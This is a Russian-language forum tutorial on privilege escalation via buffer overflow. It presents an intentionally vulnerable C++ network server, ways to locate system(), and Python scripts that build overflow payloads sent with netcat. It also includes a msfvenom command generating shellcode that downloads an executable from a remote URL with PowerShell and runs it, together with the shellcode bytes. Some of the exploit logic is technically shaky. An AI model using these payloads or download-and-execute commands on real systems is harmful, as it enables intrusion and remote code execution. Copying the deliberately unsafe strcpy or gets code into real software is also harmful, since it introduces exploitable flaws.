Статья Техники эскалации привилегий. 1. Использование уязвимостей в программном обеспечении.

Все примеры, приведенные в данном материале, предназначены исключительно для ознакомления и глубокого понимания принципов работы систем безопасности. Целью этих примеров является обучение тому, как защитить компьютерные системы от возможных угроз и злоумышленников а так же избежать утечек данных и не представить доступ злодеям. Я настоятельно рекомендую использовать полученные знания только в законных целях для укрепления вашей безопасности. Помните, что сила знаний должна быть направлена на защиту, а не на разрушение.
Начнем по порядку:

Эскалация привилегий — это процесс, при котором злоумышленник повышает свои права доступа в системе, получая доступ к ресурсам или возможностям, которые изначально не были ему предоставлены. Этот процесс критичен для злоумышленников, так как после повышения прав они могут получить полный контроль над системой, получить доступ к конфиденциальным данным, изменять конфигурации системы и выполнять любые действия с наивысшими привилегиями.

Эскалация привилегий может быть локальной (на одном устройстве, где злоумышленник уже имеет некоторый доступ) или удалённой (через сеть, без физического доступа к устройству). В обоих случаях цель одна — повысить уровень доступа от стандартного пользователя до уровня администратора или системного пользователя, который в Windows называется "System".

1. Использование уязвимостей в программном обеспечении

Злоумышленники могут использовать уязвимости в приложениях, службах или операционной системе для выполнения произвольного кода с более высокими привилегиями.
Используем:
Целевая машина - Windows 11
Атакующая машина - KaliLinux
IDE - Clion

Пример 1: Ошибки переполнения буфера (Buffer Overflow)

Переполнение буфера — это одна из самых известных уязвимостей, при которой программа копирует данные в буфер фиксированного размера без проверки длины входных данных. Если входные данные превышают размер буфера, они начинают перезаписывать данные в памяти, что может привести к изменению критических структур программы, таких как указатели возврата, и, следовательно, выполнению произвольного кода.

Эта тема плотно переплетается с ReverseEngenering, но сегодня мы посмотрим как вообще все это работает. Итак, реализуем программу на C++ c классической, но в то же время достаточно распространенной уязвимостью:
C++:
#include <iostream>
#include <cstring>

// Уязвимая функция, в которой злоумышленник может переполнить буфер
void vulnerableFunction(const char* input) {
    char buffer[64];  // Буфер фиксированного размера

    // Уязвимость переполнения буфера
    strcpy(buffer, input);  // Без проверки длины данных

    std::cout << "Input: " << buffer << std::endl;
}

int main() {
    char input[256];  // Большой буфер для пользовательского ввода

    std::cout << "Input string: ";
    std::cin.getline(input, sizeof(input));  // Ожидание ввода

    // Вызов уязвимой функции
    vulnerableFunction(input);

    return 0;
}
Здесь используется strcpy(buffer, input);, кстати защититься достаточно просто заменить strcpy на более безопасную функцию strncpy, которая позволяет указать максимальное количество символов для копирования в буфер.

Что происходит в этом коде?

  • Программа использует функцию strcpy, которая копирует введённую строку в локальный массив buffer фиксированного размера (64 байта), не проверяя длину вводимых данных.
  • Если пользователь введёт строку длиной более 64 байт, это вызовет переполнение буфера. Лишние байты перезапишут данные, хранящиеся за пределами буфера, что может включать важные системные данные, такие как указатели возврата (return pointers).
Но это не совсем интересно, давайте напишем программу которая будет работать с сетью и будем действовать через сеть( ну например мы нашли подобную уязвимость а потом с помощью разведки обнаружили такой софт на сервере, порт 8080)
пишем:
C++:
#include <iostream>
#include <cstring>

#ifdef _WIN32
    #include <winsock2.h>  // Для Windows используем Winsock API для работы с сокетами
    #pragma comment(lib, "ws2_32.lib")  // Линкуем с библиотекой Winsock
#else
    #include <sys/socket.h>  // Для Unix-систем используем стандартные сокеты
    #include <netinet/in.h>   // Для работы с интернет-адресами (например, sockaddr_in)
    #include <unistd.h>       // Для системных вызовов read и close
#endif

// Уязвимая функция
void vulnerableFunction(const char* input) {
    char buffer[64];  // Буфер фиксированной длины (64 байта)

    // Уязвимость переполнения буфера
    strcpy(buffer, input);

    // Выводим данные, которые были записаны в буфер
    std::cout << "Received: " << buffer << std::endl;
}

// Функция запуска TCP-сервера
void startServer() {
    int server_fd, client_socket;  // Переменные для файловых дескрипторов сокетов
    struct sockaddr_in address;    // Структура для хранения информации об адресе
    int addrlen = sizeof(address); // Длина структуры адреса
    char buffer[1024] = {0};       // Буфер для чтения данных от клиента

#ifdef _WIN32
    WSADATA wsaData;  // Структура для хранения информации о Winsock
    // Инициализация Winsock
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        std::cerr << "WSAStartup failed" << std::endl;  // Ошибка инициализации Winsock
        return;
    }
#endif

    // Создание TCP-сокета
    server_fd = socket(AF_INET, SOCK_STREAM, 0);
    if (server_fd == 0) {
        std::cerr << "Socket failed" << std::endl;
#ifdef _WIN32
        WSACleanup();  // Очищаем ресурсы Winsock при ошибке
#endif
        return;
    }

    // Настройка адреса сервера (используем IPv4 и порт 8080)
    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;  // Принимаем подключения со всех интерфейсов
    address.sin_port = htons(8080);  // Порт 8080 в сетевом порядке байтов

    // Привязка сокета к адресу
    if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) {
        std::cerr << "Bind failed" << std::endl;
#ifdef _WIN32
        WSACleanup();  // Очищаем ресурсы Winsock при ошибке
#endif
        return;
    }

    // Слушаем входящие соединения
    listen(server_fd, 3);
    std::cout << "Server listening on port 8080" << std::endl;

#ifdef _WIN32
    client_socket = accept(server_fd, (struct sockaddr *)&address, &addrlen);  // Для Windows
#else
    client_socket = accept(server_fd, (struct sockaddr *)&address, (socklen_t*)&addrlen);  // Для Unix
#endif
    if (client_socket < 0) {
        std::cerr << "Accept failed" << std::endl;
#ifdef _WIN32
        WSACleanup();  // Очищаем ресурсы Winsock при ошибке
#endif
        return;
    }

    // Чтение данных от клиента
#ifdef _WIN32
    recv(client_socket, buffer, 1024, 0);  // Для Windows используем recv
#else
    read(client_socket, buffer, 1024);  // Для Unix используем read
#endif

    // Вызов уязвимой функции
    vulnerableFunction(buffer);

    // Закрываем сокеты
#ifdef _WIN32
    closesocket(client_socket);
    closesocket(server_fd);
    WSACleanup();  // Завершаем работу с Winsock
#else
    close(client_socket);
    close(server_fd);
#endif
}

// Главная функция
int main() {
    startServer();  // Запуск TCP-сервера
    return 0;
}
комментарии написаны для каждой строки поэтому думаю тут все понятно, запускаем проверяем:
1725892845241.png
должно быть так.
Я делаю на Windows поэтому проверяю так:
1725893703320.png
видим что программа работает на 8080 .Уязвимость переполнения буфера позволяет нам перезаписать указатель возврата, но в таком виде мы не можете передать и выполнить файл .exe напрямую через буфер. Необходимо либо использовать файл, уже существующий на удалённой машине, либо воспользоваться техникой инъекции шеллкода, чтобы передать программу. Да, кстати, я написал шуточную программу которую мы будем запускать.

Варианты решений:

  1. Загрузка и запуск исполняемого файла: Мы можем использовать эксплойт, который скачивает нашу программу с удалённого сервера и запускает её на целевой машине.
  2. Использование команды system() для запуска уже существующего .exe:Если программа уже есть на удалённой машине, вы можете заставить уязвимую программу вызвать system() для её запуска.

Вариант 1: Загрузка и запуск .exe через переполнение буфера

В данном подходе мы сначала эксплуатируем переполнение буфера для выполнения команды, которая скачивает программу с вашего удалённого сервера на целевую машину и затем запускает её.

1. Подготовка полезной нагрузки

Теперь нам нужно как- то узнать адрес функции system() - она может запустить программу с правами системы.
Узнать адрес функции system() в реальной атаке — это одна из ключевых задач злоумышленника при эксплуатации уязвимостей. Для этого используются различные техники, такие как анализ бинарных файлов, обход защитных механизмов, чтение утечек информации и даже манипуляции с процессом выполнения программы. Рассмотрим несколько наиболее распространённых методов.

Использование утечки информации (Information Disclosure)

Утечка информации — это уязвимость, которая позволяет злоумышленнику получить доступ к данным о внутренней структуре памяти программы или операционной системы. В случае успешной утечки злоумышленник может получить адрес функции system() или другой полезной функции, например, через вывод ошибок или через уязвимость типа форматирования строки.
C:
#include <stdio.h>

int main() {
    char buffer[100];
    gets(buffer);  // Уязвимость: небезопасная функция gets()
    printf(buffer);  // Уязвимость: форматирование строки без проверки
    return 0;
}
2. Чтение таблицы импорта/экспорта
Каждая программа или библиотека на уровне операционной системы имеет таблицу импорта и экспорта функций. Эти таблицы содержат информацию о внешних и внутренних функциях, которые используются программой. Адрес функции system() можно найти через разбор этих таблиц в бинарном файле.

Пример с использованием утилиты objdump:

Bash:
objdump -T /lib/x86_64-linux-gnu/libc.so.6 | grep system
Это покажет запись в таблице импорта библиотеки libc.so.6, содержащую адрес функции system().

Пример с использованием readelf:​

Bash:
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
Эти утилиты позволяют анализировать таблицы символов и находить адреса функций в стандартных библиотеках.

Обход ASLR (Address Space Layout Randomization)

ASLR — это механизм защиты, который рандомизирует адресное пространство программы. При каждой загрузке программы функции стандартных библиотек (таких как libc) могут находиться в разных местах памяти. Однако злоумышленник может использовать различные методы для обхода ASLR.

Пример обхода ASLR:

  1. Утечка адреса функции: Если утечка адреса произошла, злоумышленник может использовать его для вычисления смещения других функций в библиотеке (например, system()).
  2. Брутфорс: Хотя ASLR значительно усложняет атаку, в некоторых случаях злоумышленники могут попробовать атаковать программу методом брутфорса, если другие механизмы защиты, такие как NX (non-executable memory), отключены.

Использование статических адресов в системах без ASLR

Если на целевой машине ASLR не используется или отключено, функции стандартных библиотек могут загружаться в фиксированные адреса. В этом случае можно просто посмотреть на системный вызов system() в стандартной библиотеке (например, libc) и использовать этот адрес.

Пример для 32-битной системы без ASLR:

На старых системах или устройствах с отключённым ASLR адреса функций могут быть статичными, и злоумышленник может найти адрес функции system() через статический анализ.

Использование dlopen() и dlsym() (в Linux)

Злоумышленник может динамически загрузить библиотеку и получить адрес функции, используя системные вызовы dlopen() и dlsym().

Пример:​

C:
#include <dlfcn.h>
#include <stdio.h>

int main() {
    void *handle = dlopen("libc.so.6", RTLD_LAZY);  // Загружаем библиотеку
    void (*sys)() = dlsym(handle, "system");  // Получаем адрес функции system()
    printf("Address of system(): %p\n", sys);
    return 0;
}
но нам проще) используем GDB :
ставим точку останова на строку
C++:
 std::cout << "Server listening on port 8080" << std::endl;
и жмем на кнопку отладки программа остановится на этой строке внизу переходим на вкладку GDB и вводим команду
Код:
p system
И получаем в ответ адрес System() в виде 0x7ffca7e1abb0 конечно у вас он будет другой. Как все это выглядит на скрине ниже
1725895908564.png

Подготовка полезной нагрузки​

Зная, что программа вызывает функцию vulnerableFunction(), которая вызывает переполнение буфера, мы можем подготовить полезную нагрузку, которая будет перезаписывать указатель возврата (return address) и заставлять программу выполнить функцию system().

Структура полезной нагрузки:​

  1. Заполнение буфера — 64 байта.
  2. NOP-слайды для безопасного исполнения кода (обычно 16 байт \x90).
  3. Адрес функции system() — адрес, который вы знаете, например, 0x7ffca7e1abb0.
  4. Команда для system() — строка с командой, которую system() выполнит, например, запуск PowerShell.
Пример кода на Python для создания полезной нагрузки:
Python:
# Адрес функции system() в little-endian формате
system_address = b"\xb0\xab\xe1\xa7\xfc\x7f"

# Команда для вызова через system (например, запуск блокнота)
command = b"WindowsHack.exe"

# NOP слайды для выравнивания
nop_sled = b"\x90" * 16

# Полезная нагрузка (переполнение буфера + NOP слайды + адрес system() + команда)
payload = b"A" * 64  # Заполнение буфера (64 байта)
payload += nop_sled  # NOP слайды (безопасное выполнение)
payload += system_address  # Адрес функции system()
payload += command  # Строка с командой для system()

# Запись полезной нагрузки в файл
with open("payload.bin", "wb") as f:
    f.write(payload)
Отправка полезной нагрузки с помощью утилиты netcat:
Код:
nc <192.168.2.3> 8080 < payload.bin
В итоге получаем картинку на целевой машине

1725897526967.png


Теперь вариант 2:

Генерация шеллкода​

Мы будем использовать msfvenom для генерации шеллкода, который загрузит и запустит .exe файл с удалённого сервера.
Bash:
msfvenom -p windows/exec CMD="powershell -Command \"Invoke-WebRequest -Uri 'http://google.com/WindowsHack.exe' -OutFile 'C:\\temp\\WindowsHack.exe'; Start-Process 'C:\\temp\\WindowsHack.exe\"" -f c
получим примерно такой шелл:

C:
unsigned char shellcode[] =
"\xdb\xc5\xd9\x74\x24\xf4\x58\xba\x91\x5e\x8a\x65\x29\xc9\xb1"
"\x31\x31\x50\x18\x83\xc0\x04\x03\x50\x7b\xe1\x99\x7a\x6b\x67"
"\x61\x83\x6b\x08\xeb\x66\x5a\x08\x8f\xe3\xcc\xb8\xdb\xa6\xe0"
"\x33\x89\x52\x73\x31\x06\x54\x34\xfc\x70\x5b\xc5\xad\x41\xfa"
"\x45\xac\x95\xdc\x74\x7f\xe8\x1d\xb0\x62\x01\x4f\x69\xe8\xb4"
"\x60\x1e\xa4\x04\x0b\x6c\x28\x0c\xe8\x24\x4b\x3d\xbf\x3f\x12"
"\x9d\x41\xec\x2e\x94\x59\xf1\x0b\x6e\xd2\xc1\xe7\x71\x32\x18"
"\x07\xdd\x7b\x94\xfa\x1f\xbc\x12\xe5\x6a\xb4\x61\x98\x6c\x03"
"\x18\x47\xf8\x90\xba\x0c\x5a\x7d\x3b\xc0\x3d\xf6\x37\xad\x4a"
"\x50\x5b\x30\x9e\xeb\x67\xb9\x21\x3b\xe1\xf9\x05\x9f\xaa\x5a"
"\x27\x86\x16\x0c\x58\xd8\xf8\xf1\xfc\x92\x14\xe5\x8c\xf8\x72"
"\x2b\x02\x86\xd2\x2b\x14\x89\x44\x44\x25\x02\x0b\x13\x49\x8e"
"\x68\x3c\xe3\x48\x4d\xb5\xac\x15\x5d\x98\x4c\xfc\x9e\xa5\xce"
"\xfc\x5e\x52\xce\xf4\x5b\x1e\x48\xe4\x11\x0f\x3d\x0a\x3e\x62"
"\x6e\xeb\x5d\xe1\xf3\x0f\x08\xa8\xb6\x25";
создаем payload:
Python:
# Это пример полезной нагрузки для инъекции шеллкода
shellcode = (
    b"\xdb\xc5\xd9\x74\x24\xf4\x58\xba\x91\x5e\x8a\x65\x29\xc9\xb1"
    b"\x31\x31\x50\x18\x83\xc0\x04\x03\x50\x7b\xe1\x99\x7a\x6b\x67"
    b"\x61\x83\x6b\x08\xeb\x66\x5a\x08\x8f\xe3\xcc\xb8\xdb\xa6\xe0"
    b"\x33\x89\x52\x73\x31\x06\x54\x34\xfc\x70\x5b\xc5\xad\x41\xfa"
    b"\x45\xac\x95\xdc\x74\x7f\xe8\x1d\xb0\x62\x01\x4f\x69\xe8\xb4"
    b"\x60\x1e\xa4\x04\x0b\x6c\x28\x0c\xe8\x24\x4b\x3d\xbf\x3f\x12"
    b"\x9d\x41\xec\x2e\x94\x59\xf1\x0b\x6e\xd2\xc1\xe7\x71\x32\x18"
    b"\x07\xdd\x7b\x94\xfa\x1f\xbc\x12\xe5\x6a\xb4\x61\x98\x6c\x03"
    b"\x18\x47\xf8\x90\xba\x0c\x5a\x7d\x3b\xc0\x3d\xf6\x37\xad\x4a"
    b"\x50\x5b\x30\x9e\xeb\x67\xb9\x21\x3b\xe1\xf9\x05\x9f\xaa\x5a"
    b"\x27\x86\x16\x0c\x58\xd8\xf8\xf1\xfc\x92\x14\xe5\x8c\xf8\x72"
    b"\x2b\x02\x86\xd2\x2b\x14\x89\x44\x44\x25\x02\x0b\x13\x49\x8e"
    b"\x68\x3c\xe3\x48\x4d\xb5\xac\x15\x5d\x98\x4c\xfc\x9e\xa5\xce"
    b"\xfc\x5e\x52\xce\xf4\x5b\x1e\x48\xe4\x11\x0f\x3d\x0a\x3e\x62"
    b"\x6e\xeb\x5d\xe1\xf3\x0f\x08\xa8\xb6\x25"
)

# Заполнение буфера (64 байта)
payload = b"A" * 64
# Перезапись указателя возврата (указываем на начало буфера)
payload += b"\x90" * 16  # NOP слайды
payload += shellcode

# Запись полезной нагрузки в файл
with open("payload.bin", "wb") as f:
    f.write(payload)

Теперь, когда полезная нагрузка готова, vы можеv отправить её на удалённую машину через сетевое соединение с помощью netcat:
Код:
nc <localhost> 8080 < payload.bin

Что происходит:​

  1. Переполнение буфера: Буфер заполняется символами A, и указатель возврата перезаписывается так, чтобы он указывал на область памяти, содержащую ваш шеллкод.
  2. NOP слайды: Это инструкции, которые ничего не делают (они нужны для того, чтобы дать время программе попасть в правильный участок памяти).
  3. Выполнение шеллкода: Когда программа достигнет шеллкода, она выполнит его и запустит WindowsHack.exe на удалённой машине.

Заключение​

Использование инъекции шеллкода — это сложный, но мощный способ эксплуатации уязвимости переполнения буфера. В этом примере мы использовали сгенерированный шеллкод для выполнения команды на удалённой машине. Шеллкод можно адаптировать для выполнения различных задач, таких как запуск .exe или подключение к удалённому серверу.

Важно понимать, что для успешной эксплуатации инъекции шеллкода вам необходимо точно контролировать указатели возврата, а также учитывать защитные механизмы, такие как ASLR, DEP и другие. Спасибо за внимание. Весь код приложил к статье
 

Вложения

  • Code.zip
    5,1 КБ · Просмотры: 20
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!